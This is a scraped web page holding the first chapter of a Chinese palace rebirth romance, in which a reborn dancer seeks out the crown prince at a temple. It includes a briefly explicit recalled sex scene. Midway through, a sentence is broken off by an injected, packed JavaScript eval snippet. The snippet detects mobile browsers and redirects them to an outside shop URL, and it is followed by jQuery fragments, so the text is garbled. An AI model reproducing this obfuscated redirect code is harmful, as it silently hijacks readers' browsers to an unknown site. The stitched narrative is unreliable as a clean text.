默认冷灰
24号文字
方正启体

1. 第1章

作者:陌青桃本书字数:K更新时间:
    永安寺檀香袅袅,雨势渐急,檐角铜铃不停地响。


    “小姐,咱们快回去吧,马上就下大了。”


    一身素净装扮的婢女有些不解的看着自家主子。


    雨丝冰冷,姜韵宁一反往常的娇气,随意抬手抹去脸上的雨滴。


    “如意,你去拿伞,我先去东院躲雨,我知道那边有个凉亭。”


    姜韵宁身上穿的还是今天排练的衣裳,即使在外面披上了银丝绣兰花纹的披风,依旧能看出内里大片裸露的胸襟。


    不等如意回答,姜韵宁面色着急,说完就跑了。


    如意伸手只碰到了小姐的一片衣袖,心中轻叹气,赶紧转身拿伞去了。


    自从昨晚上一阵雷响,自家小姐就开始做噩梦,一会儿喊:“小珩,母妃没用,将来你父皇不喜欢你了,你就....”


    翻了个身,又恨恨地哭泣:“柳希蓉,我不会放过你......”


    过了一会儿,变成嚎啕大哭,坐起来哭喊:“陛下,臣妾好想你呜呜呜......”


    直接把如意吓醒了,小姐一个自小在舞班长大的人,从未见过圣上,何来的臣妾想你一说?


    而柳希蓉,是小姐最亲近的姐姐,小姐刚来的时候每每受人欺负,都是希蓉姑娘护着,两个人感情堪比亲姐妹。


    如此哭喊实在是没有缘由。


    如意看着眉头蹙起的姜韵宁,在她哭着再次喊陛下之前,连忙捂住了她的嘴。


    姜韵宁就泪眼汪汪的,在她的掌中哭喊,哭得累了才沉沉睡去。


    翌日起床,如意问她,她却也不说,只怔怔的问今日是何年何月。


    这样就罢,上午排练舞蹈竟然也频繁跑神。


    妈妈看不下去,只能放她出来散散心,还特意叮嘱如意,让她宽慰姜韵宁,压力不要太大。


    再过两个月就是太子的寿辰,听说要大办,还会给各位适婚公子们相看,柳妈妈瞅准了这个机会,一定要在生辰宴上让姑娘们大放异彩。


    这不,立刻带着姑娘们来永安寺排练了。


    永安寺名义上是寺庙,但已经发展成小集会了。只是住持再三叮嘱,近日有贵客居住,要看好姑娘们。


    想到这,如意又想冒着雨回去,把小姐拉回来了。


    那什么凉亭,明明离西院更远,小姐却偏要去,不会是存了想碰上贵客的心思吧。


    可是宝殿檐下落雨,雨声更大。


    如意再次叹气,还是赶紧去拿伞吧,还得拿个更厚点的外套,别让小姐感冒了。


    *


    鞋笈踏在石板上溅起雨滴,裙摆湿的很快。


    前世今生两辈子,姜韵宁都没有跑这么快过。


    当东宫侍妾时,她活动范围不过两个院子,一个自己的,一个太子的。


    当皇宫贵嫔时,陛下为了她不风吹雨淋,给她越级安排了轿辇。


    后来生了皇子,晋封为妃的时候,有了轿辇更加不需要跑步了。


    雨势缥缈,姜韵宁喘息得厉害,顾不上身上的披风,转过不知道多少个弯,终于在一片竹林中找到了那个凉亭。


    姜韵宁眼前一亮,雨滴砸在长睫上,她眼眶开始发红。


    没变,这个凉亭还在。


    真的还在!


    她真的重生了!


    上辈子,陛下带她来过一次。


    明明说好是来散心,但偏偏他坏心思,非要在佛门净地胡闹,姜韵宁拗不过他,只能由着他。


    永安寺有一温泉,热气蒸腾,云雾缭绕间,她软着身子,一会儿被摊开放在池边,一会儿只能死死地抱着他宽厚的肩膀,身子簌簌颤抖。


    他却坏心思地趁虚而入,吻她吃她,她求他,他口中答应的好好的,但是仍旧一会儿迅猛一会儿缓慢,她受不住推打他,只是溅起水花,徒劳。


    最后姜韵宁只能又羞又气的趴在萧砚辞的膝上,不肯抬头看他。


    萧砚辞摸了摸姜韵宁的头,眼中含笑:“如果你能再早两个月,说不定能在这里遇到朕。”


    那时她已是贵嫔,两个月前也是,闻言疑惑的抬起头看他。


    萧砚辞眼眸温和与她对视:“生辰宴前两个月,朕住在永安寺为父皇祈福。”


    那个时候她才知道,原来住持说的贵客,竟然是潜邸时期的他。


    只是前世她一门心思的练舞,想着在生辰宴上能与伯爵府世子结识,就能躲过侍郎之子,没想到却阴差阳错成了东宫侍妾。


    雨势瓢泼,凉亭果真没人。


    但是姜韵宁必须抓住这次机会,否则要再等上两个月,她觉得自己会疯。


    算上前世萧砚辞出征的时间,她已经有五个月没有见到陛下了。


    五个月,久到她都觉得自己会一辈子看不到他了。


    但上辈子被柳希蓉诓骗过去,她与淑妃合起伙来,引诱她喝下了那杯穿肠毒酒。


    论起来,确实是一辈子都没见到萧砚辞了。


    那杯毒酒把她的胃搅得火辣辣的,她头一次知道,什么叫穿肠烂肚。


    姜韵宁情不自禁的摸上了肚子,现在仿佛还在隐隐作痛。


    骗她喝下毒酒的,竟然是她一直视为亲姐姐的柳希蓉!


    她自小就被抛弃在路边,被柳妈妈捡到后在舞班长大,同为养女的柳希蓉承担了半个母亲的角色,所以在萧珩周岁宴上,柳希蓉求她进宫,她毫不犹豫的就答应了。


    结果没想到,竟然是引狼入室!


    她那么信任的希蓉姐姐,为什么要背叛她?


    她现在只有陛下了......


    腹中似乎还残留着剧烈的痛楚,天空恰巧轰隆一阵雷响,姜韵宁终究还是没忍住,哭了出来。


    风雨交加,猛烈得想把所有人都浇成落汤鸡。


    她已经分不清脸上是泪还是雨水,想要加快脚步,却一时没看清,竟然绊到了一块石子,整个人“啪”的一下摔在了地上。


    腿上传来火辣辣的疼,身上的披肩也掉了下来。


    这一刻,姜韵宁心中对柳希蓉的恨和对萧砚辞的想念达到了顶峰。


    她“哇”地一声哭了出来,边哭边起身,蹲到了凉亭的长椅背后。


    雨势淅沥,凉亭中隔出一片静谧的空间。


    昨夜噩梦,姜韵宁压根就没睡多久,现在蹲在草丛前面,倒是很快就睡着了。


    直到一只冰冷的手拨开她脸上湿乱的头发,捏起她的下巴,姜韵宁才惊醒。


    她怔怔看着眼前年轻了许多的太子殿下。


    五年前的萧砚辞,依旧是温和矜贵的模样,少了五年后彻底成为九五之尊的积威,但仍然是贵气凌然。


    “你可知这里是孤的御用凉亭?”


    他语气温和,但一向柔和的眼眸却染上了陌生的色彩,他不认识她。


    姜韵宁视线描摹着他的脸,眼泪夺眶而出,她喃喃道:“陛下....”


    东院的一间窗户刚好能看到凉亭,萧砚辞原本在赏雨,却看到一衣着不敝体的女子,竟然要跑着过来避雨。


    都快要到凉亭了,竟然还摔了一跤。


    他这个凉亭,在寺庙的最东边,偏僻寂静,鲜有人知。


    萧砚辞眯了眼睛,让褚安带了一把伞过来。


    后面的褚安早已背过身去,眼睛一瞪,这个女子在说什么东西!


    他侧着身喊:“大胆!在你面前的是当今太子殿下,还不快跪下磕头谢罪!”


    萧砚辞松开捏她的手,直起身没有说话。


    他目光描摹过她的身子,白瓷软玉,湿漉漉的衣衫勾勒出姣好的曲线,生的是一副妩媚魅惑的身子,但是视线落在她脸上,却发现她双眼纯净欣喜,带着浓厚的期待之情。


    姜韵宁长睫一颤,很想狠狠一头扎进他的怀里,可是如今她浑身湿透,披头散发形容狼狈,她不能抱。


    会把他干净的衣裳弄脏。


    姜韵宁跪了下去,可是眼睛却依旧直勾勾的看着他,回答的也不是褚安,而是他刚才的问题:“民女不知道这是殿下的凉亭,还望殿下恕罪。”


    萧砚辞语气平淡:“你是何人?”


    姜韵宁很想说,她是他的东宫侍妾,是未来的皇宫宠妃。


    她语气哽咽,一双眼睛楚楚可怜:“臣妾...民女是舞班的舞女,下午在寺中散步,但是迷路了,又恰逢骤雨,只能躲进凉亭。”


    近日确有舞班在此练舞。


    在如此平滑的路


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224013|197533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上都能摔跤,身为舞女还把自己的腿弄伤,愚笨的女子。


    萧砚辞已经确认她是真的迷路了,不是三皇子派来的。


    他原谅了她眼神的冒犯,示意褚安将伞放在长椅上,转身就要离开。


    褚安无意看一介舞女,掐着嗓子:“雨一时半会儿不会停,太子殿下仁厚心肠,特意过来给你送伞,雨停后赶紧离去。”


    姜韵宁却不想这样,加上上辈子的光阴,她已经有五年没有练舞,再在舞班待下去,她肯定会吃苦头。


    姜韵宁连忙起身去拦萧砚辞,只是刚有动作,褚安手中的伞就挡住了她。


    褚安这才看清她的样貌,如她所说,柳眉杏眼鹅蛋脸,确实是舞女应该有的美貌,只是身上的衣裳着实上不得台面。


    他举着伞提醒她:“要想谢恩跪下即可,不可近身。”


    姜韵宁嗓音哽咽,只能扒着伞,望着背对着自己的太子:“陛...殿下,小时候曾经有大师给民女算命,与‘真龙之气’最是契合,方才一见殿下,顿觉心中有感......”


    褚安已经被她短短三言两语吓死,脸色顿时一沉,正要呵斥她,却被萧砚辞打断。


    “是吗?”萧砚辞止住了脚步,转身垂眸与姜韵宁对视。


    “那你说说,孤什么时候荣登大宝?”萧砚辞语气温和,仿佛说的不是僭越之词,只是在谈论今日天气。


    姜韵宁只道:“明年。”


    “殿下尚未有子嗣,民女恰好易孕,如果殿下有意,民女愿意为殿下诞育子嗣...”


    话未说完,冷风吹过,姜韵宁打了个喷嚏。


    萧砚辞唇角微扬,已经明白她的意思了。


    他看错了,这个女子不光愚笨,还真的存了故意来蹲他的心思。


    他视线落在她的胸前,大片的洁净肌肤,白的晃眼。


    萧砚辞记得自己是关怀子民的太子,脱下外套,盖在了姜韵宁身上,温声道:“孤知道了,孤会考虑的,现在你还是注意身体,别着凉了。”


    姜韵宁身上顿时被一片温暖包裹,还带着他身上独特的龙涎香味道。


    想起曾经的亲昵,她情不自禁再次红了眼眶,拽住了他的手,颤声问:“那殿下,臣妾可以跟你住一起吗?”


    她只有陛下了。


    姜韵宁不能接受萧砚辞也不要她的事实。


    恰逢这时,如意拿了伞过来,听到自家小姐的这句话,她两眼一黑。


    小姐这是还没从晚上的梦里醒来呀,怎么还在自称臣妾!


    萧砚辞眼眸温和,却拂开了她的手:“孤会跟舞班提。”


    那就是不会提的意思了。


    上辈子,在他的生辰宴上,姜韵宁不小心崴在了他身上,宴会结束,她正心惊胆战,结果直接一顶轿子入了东宫。


    姜韵宁一阵恍惚,难道真的要等两个月吗?那这两个月,她要跟杀害自己的凶手朝夕相处。


    如意连忙上前阻止赔罪,萧砚辞带着褚安已经离去。


    “小姐!你是不是还没睡醒呀!”


    姜韵宁心如死灰,瘫坐在地上。


    如意看着姜韵宁身上的外套,正要给她脱掉换上自己拿的干净衣裳,她又有了人气,拽住外套不让脱。


    “不,这是殿下给我的,我不脱。”姜韵宁一双杏眸哭得发红。


    如意心疼的为她拭泪,没想到自家小姐竟然真的有攀附的心思,“小姐,这样回去是会被妈妈责罚的。”


    回去?


    “那就不回去了!”姜韵宁看向如意,眼眸又有了一丝亮光:“我的手札带了吗?我们去祈福吧!”


    *


    回到厢房的褚安为萧砚辞拿来干燥的衣裳,恭敬的问:“殿下,那个女子要不要...?”


    褚安做了个动作。


    萧砚辞换下被雨滴淋上的衣裳,声音淡淡,“不用。”


    不过是一个借口拙劣的女子罢了,今日过后便不会有交集。


    “跟舞班说,不用准备了。”


    褚安领悟,舞班中有这样的人,确实该换。


    他感慨:“殿下真是过于仁厚了。”


    倘若换成三皇子,这个女子今夜恐怕就身首异处了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)